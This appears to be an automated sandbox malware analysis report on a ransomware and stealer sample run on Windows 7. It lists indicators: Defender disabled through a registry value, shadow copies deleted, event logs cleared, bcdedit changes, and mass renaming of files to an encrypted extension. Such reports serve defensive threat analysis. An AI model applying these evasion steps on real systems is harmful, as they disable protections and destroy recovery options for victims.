Malware Analysis Report

2024-10-16 03:13

Sample ID 220112-x5vwssdgej
Target 585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.7z
SHA256 143c286fd4b71174dc7f1764f7758e9b91614c4019686bfb6291c1b31009e4b5
Tags
evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

143c286fd4b71174dc7f1764f7758e9b91614c4019686bfb6291c1b31009e4b5

Threat Level: Known bad

The file 585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.7z was found to be: Known bad.

Malicious Activity Summary

evasion ransomware spyware stealer trojan

Deletes Windows Defender Definitions

Modifies security service

Modifies Windows Defender Real-time Protection settings

Deletes shadow copies

Clears Windows event logs

Modifies boot configuration data using bcdedit

Modifies extensions of user files

Reads user/profile data of web browsers

Launches sc.exe

Drops file in Program Files directory

Modifies registry class

Interacts with shadow copies

Runs net.exe

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 19:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 19:26

Reported

2022-01-12 19:31

Platform

win7-en-20211208

Max time kernel

125s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\FormatSplit.crw => C:\Users\Admin\Pictures\FormatSplit.crw.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_y0Yyj3mi68I0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Users\Admin\Pictures\FormatSplit.crw.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_y0Yyj3mi68I0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File renamed C:\Users\Admin\Pictures\SwitchConvert.raw => C:\Users\Admin\Pictures\SwitchConvert.raw.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_4snpvR4DHM40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Users\Admin\Pictures\SwitchConvert.raw.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_4snpvR4DHM40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\utilityfunctions.js.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_oDYgokwXKRs0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\en-US\sqloledb.rll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Cocos.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_e9DIb8GS6mY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR2B.GIF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Ptdu1DjGK0I0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_AV1sgaRVLgU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata_5.5.0.165303.jar.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_85BqdgNwcUM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\fr-FR\SpiderSolitaire.exe.mui.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Hxp_u4Uchfs0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861258748.profile.gz.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_6roHS_sox800.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382955.JPG.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_vtRKSrvHjXQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00783_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_EFWCpoxO4iU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY01252_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_tQqfkvrePL80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\ADD.GIF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_wdm3Ep4ptIs0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.SG.XML.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_GvQ0SsrzfJI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-impl.xml.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_eho_I_i47cU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_zh_CN.jar.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_sa48YXAIosI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\1033\OLAPPTR.FAE.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_G0PldnZoY0Y0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_qhfExihT4hU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office.en-us\BRANDING.XML.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_N8dEHKcY-Ws0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0182898.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_fJGb6TlF9IY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\SplashImageMask.bmp.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Pj_Bfth3m9s0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\MDIParent.zip.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_BHNoPgrFGc00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_WKR3I7UKnP80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ashgabat.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_seh_Z9SG0GQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Games\FreeCell\en-US\FreeCell.exe.mui.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_JErNanpgThY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00200_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_q3PBHC8iRRE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\css\currency.css C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waxing-crescent.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099157.JPG.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_TspvXMIeL0k0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsImageTemplate.html.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_jdqOFlOLKhI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Darwin.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_3ug6sBrpVq80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Stationery\HandPrints.jpg C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Pp4FDHDNdrg0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341554.JPG.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_bKJWOndWIio0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CharSetTable.chr.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_FQsEQwq7PM00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_TexturedBlue.gif.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_yfPew5aUoko0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_LesaNY3VuF00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_ja.jar.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_s0uXSGsb1D80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\es-ES\js\picturePuzzle.js C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\alertIcon.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_TFvAXdvS_Q00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Toronto.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_vI4r7Zg1oiU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\de-DE\calendar.html C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\settings.html C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_OXg66vZUSuU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUB6INTL.REST.IDX_DLL.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_gNaPZfBCfHo0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BZCARD11.POC.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_M6Kmrxzdb6U0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01183_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_EM3vPo_5ZdM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099160.JPG.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_mGlnpXA3AFE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE03257_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Hgssa9KQ1dk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightYellow.css.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_kch-zAhd4Q80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Belize.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_UYnxZ1AXw980.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01139_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_2fGDcDFf7SA0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_KD925aoY2A40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_kXLCjsgLIvk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0237759.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_dFWidkz26rc0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00478_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Lplx1klSQfM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SL00260_.WMF.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_VUMB6x4UCfo0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.XML.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_K0Fy9a9lbxk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-lib-uihandler.xml.XtotxPmyrgzf4Hk9WO_m0JtvrbFizesNAumk7rEQFej_Z20_EkdHsAQ0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
